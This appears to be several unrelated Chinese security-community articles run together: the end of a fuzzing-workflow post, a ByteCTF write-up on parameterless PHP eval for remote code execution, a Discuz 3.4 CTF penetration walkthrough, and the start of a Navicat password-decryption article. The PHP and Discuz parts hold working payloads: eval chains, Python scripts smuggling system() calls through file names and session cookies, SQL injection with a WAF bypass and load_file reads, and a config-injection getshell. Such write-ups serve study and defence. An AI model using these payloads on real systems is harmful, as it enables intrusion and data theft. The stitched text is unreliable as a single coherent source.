无论如何，这并不是万无一失的方法，但是确实可以让您有一些先发制人的机会，在这种情况下，首先要集中精力应对崩溃。 安装它相对简单，但是我们首先需要一些依赖。
# apt-get install gdb golang
# mkdir src
# cd src
# git clone https://github.com/jfoote/exploitable.git
# cd && mkdir go
# export GOPATH=~/go
# go get -u github.com/bnagy/crashwalk/cmd/…
当crashwalk 安装在 ~/go/bin/ , 我们可以分析文件看它是否可能有可利用的bug。
# ~/go/bin/cwtriage -root syncdir/fuzzer1/crashes/ -match id -- ~/parse @@
# 确定有效性和代码覆盖率
查找崩溃是一件非常有趣的事情，但是，如果无法量化二进制文件中可用代码路径的运行状况，就像在黑暗中拍照一样。通过确认代码的哪个你没有到达你可以更好的调整测试用例来达到你没到达的地方。
一款名为afl-cov 的出色工具（by @michaelrash ） ，
以通过在查找新路径时观察模糊目录并立即运行测试用例来查找您可能遇到的代码库的新覆盖范围，从而帮助您解决此确切问题。它使用lcov完成此操作，因此在继续之前，我们实际上必须使用一些特殊选项重新编译解析二进制文件。
# cd ~/yaml-cpp/build/
# rm -rf ./*
# cmake -DCMAKE_CXX_FLAGS="-O0 -fprofile-arcs -ftest-coverage" \
-DCMAKE_EXE_LINKER_FLAGS="-fprofile-arcs -ftest-coverage" ..
# make
# cp util/parse ~/parse_cov
有了这个新的解析二进制文件，afl-cov可以将给定输入中二进制文件中采用的代码路径与文件系统上的代码链接起来。
afl-cov/afl-cov -d ~/syncdir/ --live --coverage-cmd "~/parse_cov AFL_FILE" --code-dir ~/yaml-cpp/
完成后，afl-cov在名为cov的目录中的根syncdir中生成报告信息。
这包括可以在Web浏览器中轻松查看的HTML文件，其中详细说明了哪些功能和代码行被命中，以及哪些功能和代码行未被命中。
# 最后
在花了三天的时间充实了这些之后，我发现yaml-cpp中没有潜在的可利用错误。 这是否意味着不存在任何错误，也不值得进行模糊测试？ 当然不是。
在我们的行业中，我认为关于漏洞发现方面的失败，我们发表的文章不够多。 许多人可能不想承认他们付出了很多精力和时间来完成某些事情，而其他人可能认为这是徒劳的。
本着开放的精神，下面链接的是所有生成的语料库（完全最小化），种子和代码覆盖率结果（约70％的代码覆盖率），以便其他人可以使用它们并确定是否值得进行模糊测试
。
> <https://github.com/brandonprry/yaml-fuzz>
>
> <https://foxglovesecurity.com/2016/03/15/fuzzing-workflows-a-fuzz-job-from-> start-to-finish/> | 社区文章 |
## 说在前面
这次参与了ByteCTF，尝试做了boringcode和EZCMS。虽然都没做出来，但是学到了很多东西。
这次通过ALTM4NZ师傅的wp来分析一下boringcode这道题并学习一下无参数函数的利用。
## boringcode
看一下代码：
<?php
?>
先来看这几个函数：
scandir() 列出 images 目录中的文件和目录。
end() 将内部指针指向数组中的最后一个元素，并输出。
readfile() 输出一个文件
scandir()接受一个目录地址的参数，当传递为一个"."时，则会返回一个数组包含当前目录下的目录名和文件名。
那构造`readfile(end(scandir('.')));`就会读取到当前目录下最后一个文件。
如果把函数参数检测关掉的话，返回的内容为code.php的源码：
这题因为不能附带参数，所以需要寻找一个函数能生成一个"."。于是找到了
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
这个函数会返回：
array(18) {
["decimal_point"]=>
string(1) "."
["thousands_sep"]=>
string(0) ""
["int_curr_symbol"]=>
....
数组中第一个值就是"."。再通过下面两个函数可以构造:`current(localeconv())`或者`pos(localeconv())`。因为这里还过滤en，所以就选择了后者。
current() 返回数组中的当前单元, 默认取第一个值
pos() current() 的别名
这时，我们就可以获取到当前目录的最后一个文件了,payload为：
`readfile(end(scandir(pos(localeconv()))));`
因为flag是在上一个目录，所以我们还需要使用`chdir()` `next()`来重新定义一下php当前目录，再使用readfile进行读取文件。
chdir() 函数改变当前的目录。
next() 函数将内部指针指向数组中的下一个元素，并输出。 这里可以获取到scandir()返回的".."
将目录定义为上一目录：`chdir(next(scandir(pos(localeconv()))))`
但是chdir()函数执行成功之后不会返回当前目录，只会返回"1"。 如前面读文件一样，我们还是需要一个"."来读取flag。
ALTM4NZ师傅找到了一个很骚的操作，就是使用`localtime()`配合`chr`来获取一个"."。
localtime() 函数返回本地时间。返回的类型为关联数组
关联数组的键名如下：
[tm_sec] - 秒数
[tm_min] - 分钟数
[tm_hour] - 小时
...
chr() 函数从指定的 ASCII 值返回字符。
获取"."的payload：`chr(pos(localtime()))`
当时间为某一分钟的46秒时, pos(localtime())返回46。46是"."的ASCII码值。所以payload就会返回"."
但这里存在一个问题就是localtime()参数只接受时间戳。
所以这里需要使用time()来解决。time()不会受参数的影响并且会返回一个时间戳。
至此，我们的payload就为：
`chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))`
在46秒的时候，就会返回"."
再用前面读取文件的方式就可以在每分钟的46秒时读取到flag了。
`echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));`
* **第二种方式**
这个payload是在群里面看到一个师傅发的。
`if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));`
因为chdir()返回0和1，所以使用if来判断并执行后面语句进行读取文件。这样就不用使用localtime函数来获取"."。可以直接读flag。
实现的函数在第一种方式都有。就不分析了。
## 无参数函数的利用总结
环境：
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_POST['code'])) {
eval($_POST['code']);
}
?>
这里正则表达式和题目的区别在于这里还运行函数名称包含`_`等特殊字符。
### 获取环境变量
使用getenv()获取超全局变量的数组，使用array_rand和array_flip爆破出所有的全局变量。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)
array_rand() 函数返回数组中的随机键名，或者如果您规定函数返回不只一个键名，则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
payload:
`echo(array_rand(array_flip(getenv())));`
### getallheaders() => RCE
getallheaders() 获取全部 HTTP 请求头信息, 是下方函数的别名
apache_request_headers 获取全部 HTTP 请求头信息
这两个函数只适用于apache服务器
函数返回内容：
array(11) {
["Accept-Language"]=>
string(23) "zh-CN,zh;q=0.9,en;q=0.8"
["Accept-Encoding"]=>
string(17) "gzip, deflate, br"
["Accept"]=>
string(3) "*/*"
["Content-Type"]=>
string(68) "multipart/form-data; boundary=----WebKitFormBoundaryevLOjNPCJPGbsCBf"
...
}
当我们构造一个Header时：
添加一个Header为`test: phpinfo();`,根据位置选择合适的payload：
1. 添加在Header在第一个：
payload: `code=eval(pos(getallheaders()));`
(pos()可以换为current(). 如果在第二个可以使用next())
2. 添加在Header在最后一个：
payload: `code=eval(end(getallheaders()));`
3. 不知道位置：
配合`array_rand()`, `array_flip()`构造payload进行爆破：
payload: `eval(array_rand(array_flip(getallheaders())));`
### get_defined_vars() => RCE
get_defined_vars() 函数返回由所有已定义变量所组成的数组。
和getallheaders()利用类似，但是不止apache, ngnix和其他的也可以用
函数返回内容：
array(4) {
["_GET"]=>
array(0) {
}
["_POST"]=>
array(1) {
["code"]=>
string(29) "var_dump(get_defined_vars());"
}
["_COOKIE"]=>
array(0) {
}
["_FILES"]=>
array(0) {
}
}
会返回全局变量的值，如get、post、cookie、file数据。
1. 利用`$_GET`
url中添加参数：<http://127.0.0.1/code/code.php?test=phpinfo(>);
post数据：`eval(end(current(get_defined_vars())));`
1. 利用`$_FILES`
import requests
files = {
"system('ping 127.0.0.1');": ""
}
data = {
"code":"eval(pos(pos(end(get_defined_vars()))));"
}
r = requests.post('http://127.0.0.1/code/code.php', data=data, files=files)
print(r.content.decode("utf-8", "ignore"))
把payload直接放在文件的名称上，再通过两个pos定位进行利用。
也可以像sky师傅脚本里面那样进行编码，使用hex2bin()解码利用。
### session_id() => RCE
session_id() 可以用来获取/设置 当前会话 ID。
可以通过修改cookie来设置session，用`session_id()`读取进行利用。
payload:
import requests
import binascii
payload = "system('ping 127.0.0.1');"
payload = str(binascii.b2a_hex(payload.encode('utf-8'))).strip("b").strip("'")
cookies={
"PHPSESSID": payload
}
data = {
"code":"eval(hex2bin(session_id(session_start())));"
}
r = requests.post('http://127.0.0.1/code/code.php', data=data, cookies=cookies)
print(r.content.decode("utf-8", "ignore"))
### 无参数函数小总结
这里是针对无参数函数利用来说的。
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件
current() 返回数组中的当前单元, 默认取第一个值
pos() current() 的别名
next() 函数将内部指针指向数组中的下一个元素，并输出。
end() 将内部指针指向数组中的最后一个元素，并输出。
array_rand() 函数返回数组中的随机键名，或者如果您规定函数返回不只一个键名，则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin — 转换十六进制字符串为二进制字符串
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)
常见的就这么一些。先记录到这吧。
## 参考
* <http://peanuts2ao.top/2019/09/09/2019-ByteCTF-pwn/>
* <https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/> | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室
时间：2020年5月11日 **
**英文链接：<https://paper.seebug.org/1205/>**
周末看了一下这次空指针的第三次Web公开赛，稍微研究了下发现这是一份最新版DZ3.4几乎默认配置的环境，我们需要在这样一份几乎真实环境下的DZ中完成Get
shell。这一下子提起了我的兴趣，接下来我们就一起梳理下这个渗透过程。
与默认环境的区别是，我们这次拥有两个额外的条件。
1、Web环境的后端为Windows
2、我们获得了一份config文件，里面有最重要的authkey
得到这两个条件之后，我们开始这次的渗透过程。
以下可能会多次提到的出题人写的DZ漏洞整理
* [这是一篇“不一样”的真实渗透测试案例分析文章](https://paper.seebug.org/1144/)
# authkey有什么用？
/ ------------------------- CONFIG SECURITY -------------------------- //
$_config['security']['authkey'] = '87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E';
authkey是DZ安全体系里最重要的主密钥，在DZ本体中，涉及到密钥相关的，基本都是用`authkey`和cookie中的saltkey加密构造的。
当我们拥有了这个authkey之后，我们可以计算DZ本体各类操作相关的formhash（DZ所有POST相关的操作都需要计算formhash）
配合authkey，我们可以配合`source/include/misc/misc_emailcheck.php`中的修改注册邮箱项来修改任意用户绑定的邮箱，但管理员不能使用修改找回密码的api。
可以用下面的脚本计算formhash
$username = "ddog";
$uid = 51;
$saltkey = "SuPq5mmP";
$config_authkey = "87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E";
$authkey = md5($config_authkey.$saltkey);
$formhash = substr(md5(substr($t, 0, -7).$username.$uid.$authkey."".""), 8, 8);
当我们发现光靠authkey没办法进一步渗透的时候，我们把目标转回到hint上。
1、Web环境的后端为Windows
2、 **dz有正常的备份数据，备份数据里有重要的key值**
# windows短文件名安全问题
在2019年8月，dz曾爆出过这样一个问题。
* [windows短文件名安全问题 数据库备份爆破](https://gitee.com/ComsenzDiscuz/DiscuzX/issues/I10NG9)
在windows环境下，有许多特殊的有关通配符类型的文件名展示方法，其中不仅仅有
`<>"`这类可以做通配符的符号，还有类似于`~`的省略写法。这个问题由于问题的根在服务端，所以cms无法修复，所以这也就成了一个长久的问题存在。
具体的细节可以参考下面这篇文章：
* [Windows下的"你画我猜" -- 告别效率低下的目录扫描方法](https://18.163.237.232xz.aliyun.com/t/2318#toc-6)
配合这两篇文章，我们可以直接去读数据库的备份文件，这个备份文件存在
/data/backup_xxxxxx/200509_xxxxxx-1.sql
我们可以直接用
http://xxxxx/data/backup~1/200507~2.sql
拿到数据库文件
从数据库文件中，我们可以找到UC_KEY(dz)
在`pre_ucenter_applications`的authkey字段找到UC_KEY(dz)
至此我们得到了两个信息：
uckey
x9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5
authkey
87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E
当我们有了这两个key之后，我们可以直接调用uc_client的uc.php任意api。，后面的进一步利用也是建立在这个基础上。
# uc.php api 利用
这里我们主要关注`/api/uc.php`
通过`UC_KEY`来计算code，然后通过`authkey`计算formhash，我们就可以调用当前api下的任意函数，而在这个api下有几个比较重要的操作。
我们先把目光集中到`updateapps`上来，这个函数的特殊之处在于由于DZ直接使用`preg_replace`替换了`UC_API`，可以导致后台的getshell。
具体详细分析可以看，这个漏洞最初来自于@dawu，我在CSS上的演讲中提到过这个后台getshell：
* <https://paper.seebug.org/1144/#getwebshell>
* <https://lorexxar.cn/2020/01/14/css-mysql-chain/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB-with-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2>
根据这里的操作，我们可以构造`$code = 'time='.time().'&action=updateapps';`
来触发updateapps，可以修改配置中的`UC_API`，但是在之前的某一个版本更新中，这里加入了条件限制。
if($post['UC_API']) {
$UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
unset($post['UC_API']);
}
由于过滤了单引号，导致我们注入的uc api不能闭合引号，所以单靠这里的api我们没办法完成getshell。
换言之，我们必须登录后台使用后台的修改功能，才能配合getshell。至此，我们的渗透目标改为如何进入后台。
# 如何进入DZ后台？
首先我们必须明白，DZ的前后台账户体系是分离的，包括uc api在内的多处功能，login都只能登录前台账户，
也就是说，进入DZ的后台的唯一办法就是必须知道DZ的后台密码，而这个密码是不能通过前台的忘记密码来修改的，所以我们需要寻找办法来修改密码。
这里主要有两种办法，也对应两种攻击思路：
1、配合报错注入的攻击链
2、使用数据库备份还原修改密码
## 1、配合报错注入的攻击链
继续研究uc.php，我在renameuser中找到一个注入点。
function renameuser($get, $post) {
global $_G;
if(!API_RENAMEUSER) {
return API_RETURN_FORBIDDEN;
}
$tables = array(
'common_block' => array('id' => 'uid', 'name' => 'username'),
'common_invite' => array('id' => 'fuid', 'name' => 'fusername'),
'common_member_verify_info' => array('id' => 'uid', 'name' => 'username'),
'common_mytask' => array('id' => 'uid', 'name' => 'username'),
'common_report' => array('id' => 'uid', 'name' => 'username'),
'forum_thread' => array('id' => 'authorid', 'name' => 'author'),
'forum_activityapply' => array('id' => 'uid', 'name' => 'username'),
'forum_groupuser' => array('id' => 'uid', 'name' => 'username'),
'forum_pollvoter' => array('id' => 'uid', 'name' => 'username'),
'forum_post' => array('id' => 'authorid', 'name' => 'author'),
'forum_postcomment' => array('id' => 'authorid', 'name' => 'author'),
'forum_ratelog' => array('id' => 'uid', 'name' => 'username'),
'home_album' => array('id' => 'uid', 'name' => 'username'),
'home_blog' => array('id' => 'uid', 'name' => 'username'),
'home_clickuser' => array('id' => 'uid', 'name' => 'username'),
'home_docomment' => array('id' => 'uid', 'name' => 'username'),
'home_doing' => array('id' => 'uid', 'name' => 'username'),
'home_feed' => array('id' => 'uid', 'name' => 'username'),
'home_feed_app' => array('id' => 'uid', 'name' => 'username'),
'home_friend' => array('id' => 'fuid', 'name' => 'fusername'),
'home_friend_request' => array('id' => 'fuid', 'name' => 'fusername'),
'home_notification' => array('id' => 'authorid', 'name' => 'author'),
'home_pic' => array('id' => 'uid', 'name' => 'username'),
'home_poke' => array('id' => 'fromuid', 'name' => 'fromusername'),
'home_share' => array('id' => 'uid', 'name' => 'username'),
'home_show' => array('id' => 'uid', 'name' => 'username'),
'home_specialuser' => array('id' => 'uid', 'name' => 'username'),
'home_visitor' => array('id' => 'vuid', 'name' => 'vusername'),
'portal_article_title' => array('id' => 'uid', 'name' => 'username'),
'portal_comment' => array('id' => 'uid', 'name' => 'username'),
'portal_topic' => array('id' => 'uid', 'name' => 'username'),
'portal_topic_pic' => array('id' => 'uid', 'name' => 'username'),
);
if(!C::t('common_member')->update($get['uid'], array('username' => $get[newusername])) && isset($_G['setting']['membersplit'])){
C::t('common_member_archive')->update($get['uid'], array('username' => $get[newusername]));
}
loadcache("posttableids");
if($_G['cache']['posttableids']) {
foreach($_G['cache']['posttableids'] AS $tableid) {
$tables[getposttable($tableid)] = array('id' => 'authorid', 'name' => 'author');
}
}
foreach($tables as $table => $conf) {
DB::query("UPDATE ".DB::table($table)." SET `$conf[name]`='$get[newusername]' WHERE `$conf[id]`='$get[uid]'");
}
return API_RETURN_SUCCEED;
}
在函数的最下面，`$get[newusername]`被直接拼接进了update语句中。
但可惜的是，这里链接数据库默认使用mysqli，并不支持堆叠注入，所以我们没办法直接在这里执行update语句来更新密码，这里我们只能构造报错注入来获取数据。
$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ substr(password,0) from pre_ucenter_members where uid = 1 limit 1)),0)),title=\'a';
这里值得注意的是，DZ自带的注入waf挺奇怪的，核心逻辑在
\source\class\discuz\discuz_database.php line 375
if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false && strpos($sql, '@') === false && strpos($sql, '`') === false && strpos($sql, '"') === false) {
$clean = preg_replace("/'(.+?)'/s", '', $sql);
} else {
$len = strlen($sql);
$mark = $clean = '';
for ($i = 0; $i < $len; $i++) {
$str = $sql[$i];
switch ($str) {
case '`':
if(!$mark) {
$mark = '`';
$clean .= $str;
} elseif ($mark == '`') {
$mark = '';
}
break;
case '\'':
if (!$mark) {
$mark = '\'';
$clean .= $str;
} elseif ($mark == '\'') {
$mark = '';
}
break;
case '/':
if (empty($mark) && $sql[$i + 1] == '*') {
$mark = '/*';
$clean .= $mark;
$i++;
} elseif ($mark == '/*' && $sql[$i - 1] == '*') {
$mark = '';
$clean .= '*';
}
break;
case '#':
if (empty($mark)) {
$mark = $str;
$clean .= $str;
}
break;
case "\n":
if ($mark == '#' || $mark == '--') {
$mark = '';
}
break;
case '-':
if (empty($mark) && substr($sql, $i, 3) == '-- ') {
$mark = '-- ';
$clean .= $mark;
}
break;
default:
break;
}
$clean .= $mark ? '' : $str;
}
}
if(strpos($clean, '@') !== false) {
return '-3';
}
$clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));
if (self::$config['afullnote']) {
$clean = str_replace('/**/', '', $clean);
}
if (is_array(self::$config['dfunction'])) {
foreach (self::$config['dfunction'] as $fun) {
if (strpos($clean, $fun . '(') !== false)
return '-1';
}
}
if (is_array(self::$config['daction'])) {
foreach (self::$config['daction'] as $action) {
if (strpos($clean, $action) !== false)
return '-3';
}
}
if (self::$config['dlikehex'] && strpos($clean, 'like0x')) {
return '-2';
}
if (is_array(self::$config['dnote'])) {
foreach (self::$config['dnote'] as $note) {
if (strpos($clean, $note) !== false)
return '-4';
}
}
然后config中相关的配置为
$_config['security']['querysafe']['dfunction']['0'] = 'load_file';
$_config['security']['querysafe']['dfunction']['1'] = 'hex';
$_config['security']['querysafe']['dfunction']['2'] = 'substring';
$_config['security']['querysafe']['dfunction']['3'] = 'if';
$_config['security']['querysafe']['dfunction']['4'] = 'ord';
$_config['security']['querysafe']['dfunction']['5'] = 'char';
$_config['security']['querysafe']['daction']['0'] = '@';
$_config['security']['querysafe']['daction']['1'] = 'intooutfile';
$_config['security']['querysafe']['daction']['2'] = 'intodumpfile';
$_config['security']['querysafe']['daction']['3'] = 'unionselect';
$_config['security']['querysafe']['daction']['4'] = '(select';
$_config['security']['querysafe']['daction']['5'] = 'unionall';
$_config['security']['querysafe']['daction']['6'] = 'uniondistinct';
$_config['security']['querysafe']['dnote']['0'] = '/*';
$_config['security']['querysafe']['dnote']['1'] = '*/';
$_config['security']['querysafe']['dnote']['2'] = '#';
$_config['security']['querysafe']['dnote']['3'] = '--';
$_config['security']['querysafe']['dnote']['4'] = '"';
这道题目特殊的地方在于，他开启了`afullnote`
if (self::$config['afullnote']) {
$clean = str_replace('/**/', '', $clean);
}
由于`/**/`被替换为空，所以我们可以直接用前面的逻辑把select加入到这中间，之后被替换为空，就可以绕过这里的判断。
当我们得到一个报错注入之后，我们尝试读取文件内容，发现由于mysql是`5.5.29`，所以我们可以直接读取服务器上的任意文件。
$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ /*!00000load_file*/(\'c:/windows/win.ini\') limit 1)),0)),title=\'a';
思路走到这里出现了断层，因为我们没办法知道web路径在哪里，所以我们没办法直接读到web文件，这里我僵持了很久，最后还是因为第一个人做出题目后密码是弱密码，我直接查出来进了后台。
在事后回溯的过程中，发现还是有办法的，虽然说对于windows来说，web的路径很灵活，但是实际上对于集成环境来说，一般都安装在c盘下，而且一般人也不会去动服务端的路径。常见的windows集成环境主要有phpstudy和wamp，这两个路径分别为
- /wamp64/www/
- /phpstudy_pro/WWW/
找到相应的路径之后，我们可以读取`\uc_server\data\config.inc.php`得到uc server的`UC_KEY`.
之后我们可以直接调用`/uc_server/api/dpbak.php`中定义的
function sid_encode($username) {
$ip = $this->onlineip;
$agent = $_SERVER['HTTP_USER_AGENT'];
$authkey = md5($ip.$agent.UC_KEY);
$check = substr(md5($ip.$agent), 0, 8);
return rawurlencode($this->authcode("$username\t$check", 'ENCODE', $authkey, 1800));
}
function sid_decode($sid) {
$ip = $this->onlineip;
$agent = $_SERVER['HTTP_USER_AGENT'];
$authkey = md5($ip.$agent.UC_KEY);
$s = $this->authcode(rawurldecode($sid), 'DECODE', $authkey, 1800);
if(empty($s)) {
return FALSE;
}
@list($username, $check) = explode("\t", $s);
if($check == substr(md5($ip.$agent), 0, 8)) {
return $username;
} else {
return FALSE;
}
}
构造管理员的sid来绕过权限验证，通过这种方式我们可以修改密码并登录后台。
## 2、使用数据库备份还原修改密码
事实上，当上一种攻击方式跟到uc
server的`UC_KEY`时，就不难发现，在`/uc_server/api/dbbak.php`中有许多关于数据库备份与恢复的操作，这也是我之前没发现的点。
事实上，在`/api/dbbak.php`就有一模一样的代码和功能，而那个api只需要DZ的`UC_KEY`就可以操作，我们可以在前台找一个地方上传，然后调用备份恢复覆盖数据库文件，这样就可以修改管理员的密码。
# 后台getshell
登录了之后就比较简单了，首先
修改uc api 为
http://127.0.0.1/uc_server');phpinfo();//
然后使用预先准备poc更新uc api
这里返回11就可以了
# 写在最后
整道题目主要围绕的DZ的核心密钥安全体系，实际上除了在windows环境下，几乎没有其他的特异条件，再加上短文件名问题原因主要在服务端，我们很容易找到备份文件，在找到备份文件之后，我们可以直接从数据库获得最重要的authkey和uc
key，接下来的渗透过程就顺理成章了。
从这篇文章中，你也可以窥得在不同情况下利用方式得拓展，配合原文阅读可以获得更多的思路。
# REF
* <https://paper.seebug.org/1144/>
* <https://lorexxar.cn/2020/01/14/css-mysql-chain/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB-with-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2>
* <https://lorexxar.cn/2017/08/31/dz-authkey/>
* * * | 社区文章 |
# CDecryptPwd（一）——Navicat
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
本篇是`CDecryptPwd`系列的第一篇，笔者将介绍Navicat加密过程、其使用的加密算法以及如何使用C语言来实现其加密过程，文章最后是笔者自己编写的工具(解密Navicat保存在注册表中的数据库密码)。
## 0x01 环境
* 平台：Windows 10(64 bit)
* 编译环境：Visual Studio Community 2019
* Navicat Premium 版本 12.1(64 bit)
## 0x02 Blowfish
> Navicat使用加密算法是Blowfish Cipher(河豚加密)，所以在介绍Navicat加密过程之前笔者要先介绍一下Blowfish
> Cipher。
### 0x02.0 Introduction
Blowfish是一种对称密钥分组密码，Bruce Schneier在1993年设计并公布。它没有专利，任何人均可自由使用。
### 0x02.1 Detail
* 密钥长度：32-448位
* 分组长度：64位
* 16轮循环的Feistel结构
### 0x02.2 Feistel Structure
在介绍Blowfish之前先来搞清楚Feistel Structure(下图来自Wikipedia):
1. 将原数据分成左右两部分
2. 原数据的右侧不变，直接变成下次循环的左侧
3. 将原数据的右侧与子密钥传递给轮函数F
4. 轮函数返回值与原数据左侧进行异或运算，变成下次循环的右侧
上述4个步骤是一轮循环的工作过程，Feistel
Structure是进行了16轮循环方才完成一次加密。需要说明一点，在最后一轮循环中左右数据不对调。解密过程是加密过程的反向，具体可参照上图，不再赘述。
### 0x02.3 Source Code
> 笔者分析的源码是[Paul Kocher](https://www.schneier.com/code/bfsh-> koc.zip)版本，并没有使用[Bruce Schneier](https://www.schneier.com/code/bfsh-> sch.zip)版本。Schneier版本中的子密钥来源是`BLOWFISH.DAT`文件，而Kocher版本是直接在源文件中定义子密钥，分析起来较为直观。如需其他版本可到[此网站](https://www.schneier.com/academic/blowfish/download.html)下载
**0x02.3-1`BLOWFISH_CTX`**
在`blowfish.h`头文件中有如下定义：
typedef struct {
unsigned long P[16 + 2];
unsigned long S[4][256];
} BLOWFISH_CTX;
为结构体定义别名，结构体中的两数组即P-Box与S-Box。
**0x02.3-2`ORIG_P[16 + 2]`与`ORIG_S[4][256]`**
`ORIG_P`与`ORIG_S`取自[圆周率的小数位](http://www.super-computing.org/pi-hexa_current.html)，每4个字节赋值给其中的一个元素。
**0x02.3-3`void Blowfish_Init(BLOWFISH_CTX *ctx, unsigned char *key, int
keyLen)`**
该函数用来初始化S-Box与P-Box。传递参数中的`key`即密钥，`keyLen`是密钥长度。
1. 对`BLOWFISH_CTX *ctx`中S-Box进行初始化，直接将`ORIG_S`中的每个元素逐一赋值给S-Box
2. 对`BLOWFISH_CTX *ctx`中P-Box进行初始化，具体过程如下：
a. `data=0x00000000;`
b.
如果参数中的字符数组`key`长度不足4，则循环使用`key`中字符(当使用到`key`中最后一个字符时，下一个字符是`key`中第一个字符)与`data
<< 8`进行或运算
**上述过程总结起来就是将参数中的字符数组`key`转换为ASCII码形式(e.g.:`key[3]="abc"`——>>`0x61626361`并存储于`data`中)**
c. 将`ORIG_P`中的每个元素与`data`作异或运算后逐一赋值给P-Box
3. `datal=0x00000000;`
`datar=0x00000000;`
4. 将上面经过变换后的`ctx`，`datal`与`datar`传递给`Blowfish_Encrypt`
5. 将加密后的`datal`与`datar`赋值给P-Box中的元素
6. 重复9次步骤4-5
7. 与步骤4类似，不过这次传递的是上面过程中已经加密后的`datal`与`datar`
8. 将加密后的`datal`与`datar`赋值给S-Box中的元素
9. 重复512次步骤7-8
> 步骤5、8中提到的赋值过程是这样的(以步骤5来举例)：
> 第一次 `P[0]=datal`，`P[1]=datar`
> 第二次 `P[2]=datal`，`P[3]=datar`
> ……
**0x02.3-4`void Blowfish_Encrypt(BLOWFISH_CTX *ctx, unsigned long *xl,
unsigned long *xr)`**
该函数是Blowfish的加密部分。传递参数中的`ctx`应该已经初始化过S-Box与P-Box，`xl`指向原数据的左半部分，`xr`指向原数据的右半部分。
1. 左侧数据与P-Box中第i个元素作异或运算(i=n-1,其中n是轮数)
2. 将左侧数据与`ctx`传递给轮函数F
3. 右侧数据与轮函数F返回值作异或运算
4. 交换运算后的左右两侧数据
5. 重复16次步骤1-5
6. 将最后一轮运算互换的左右两侧数据换回来
7. 右侧数据与P-Box中第16个元素作异或运算
8. 左侧数据与P-Box中第17个元素作异或运算
上述过程即一次完整的加密过程，可参照下图来理解(来自Wikipedia，其中轮函数F的工作过程见`0x02.3-6`)：
**0x02.3-5`void Blowfish_Decrypt(BLOWFISH_CTX *ctx, unsigned long *xl,
unsigned long *xr)`**
解密过程是加密过程的逆过程，如有困惑，可参照源码理解，不再赘述。
**0x02.3-6`static unsigned long F(BLOWFISH_CTX *ctx, unsigned long x)`**
轮函数工作过程：
1. 将参数`x`逐字节分割，赋值给`a`,`b`,`c`,`d`四个变量(e.g.:`x=0x21564378`,则`a=0x21`,`b=0x56`,`c=0x43`,`d=0x78`)
2. `y = ((ctx->S[0][a] + ctx->S[1][b]) ^ ctx->S[2][c]) + ctx->S[3][d]`
3. 返回y的值
### 0x02.4 Demo
此Demo来自[Paul Kocher](https://www.schneier.com/code/bfsh-koc.zip)版本根目录下的`blowfish_test.c`：
#include <stdio.h>
#include "blowfish.h"
void main(void) {
unsigned long L = 1, R = 2;
BLOWFISH_CTX ctx;
Blowfish_Init (&ctx, (unsigned char*)"TESTKEY", 7);
Blowfish_Encrypt(&ctx, &L, &R);
printf("%08lX %08lXn", L, R);
if (L == 0xDF333FD2L && R == 0x30A71BB4L)
printf("Test encryption OK.n");
else
printf("Test encryption failed.n");
Blowfish_Decrypt(&ctx, &L, &R);
if (L == 1 && R == 2)
printf("Test decryption OK.n");
else
printf("Test decryption failed.n");
}
需要说明的一点是Paul Kocher这个版本并没有考虑到小端序的情况，它均按大端序来处理，所以如果在Linux平台运行此Demo会像下图所示：
可以看到加密结果并非源码中给出的结果，而在Windows平台下运行，正常显示：
## 0x03 CBC模式
> 如果对于分组密码模式已经有所了解的读者可直接跳过此节
Blowfish Cipher与DES、AES一样，都是分组密码，Blowfish
Cipher每次只能处理64位(即分组长度为8字节)的数据，可是通常我们在加密时输入的明文长度都会大于8字节，这时如何去处理每个明文分组就成为一个应当考虑的问题。分组密码的模式是这个问题的解决方案，常见模式有5种：
* ECB(Electronic Codebook, 电子密码本)模式
* CBC(Cipher Block Chaining, 密码分组链接)模式
* CFB(Cipher Feedback, 密码反馈)模式
* OFB(Output Feedback, 输出反馈)模式
* CTR(Counter, 计数器)模式
Navicat并没有使用上述的任何一种加密模式，但其采用的加密模式与CBC相似，故简单介绍CBC模式(下图来自Wikipedia)，如果对于其他4种加密模式感兴趣，可自行百度。
`Plaintext`是明文按照分组密码的分组长度分割而成，初始化向量`IV`、密钥`Key`在加密时自行决定，`Block Cipher
Encryption`是使用的加密算法，最终将每个密文分组`Ciphertext`连接起来即密文。
## 0x04 Navicat 加密过程
### 0x04.1 新建连接
首先，打开Navicat，新建一个MySQL连接：
连接名为Test,用户名默认root,密码123456:
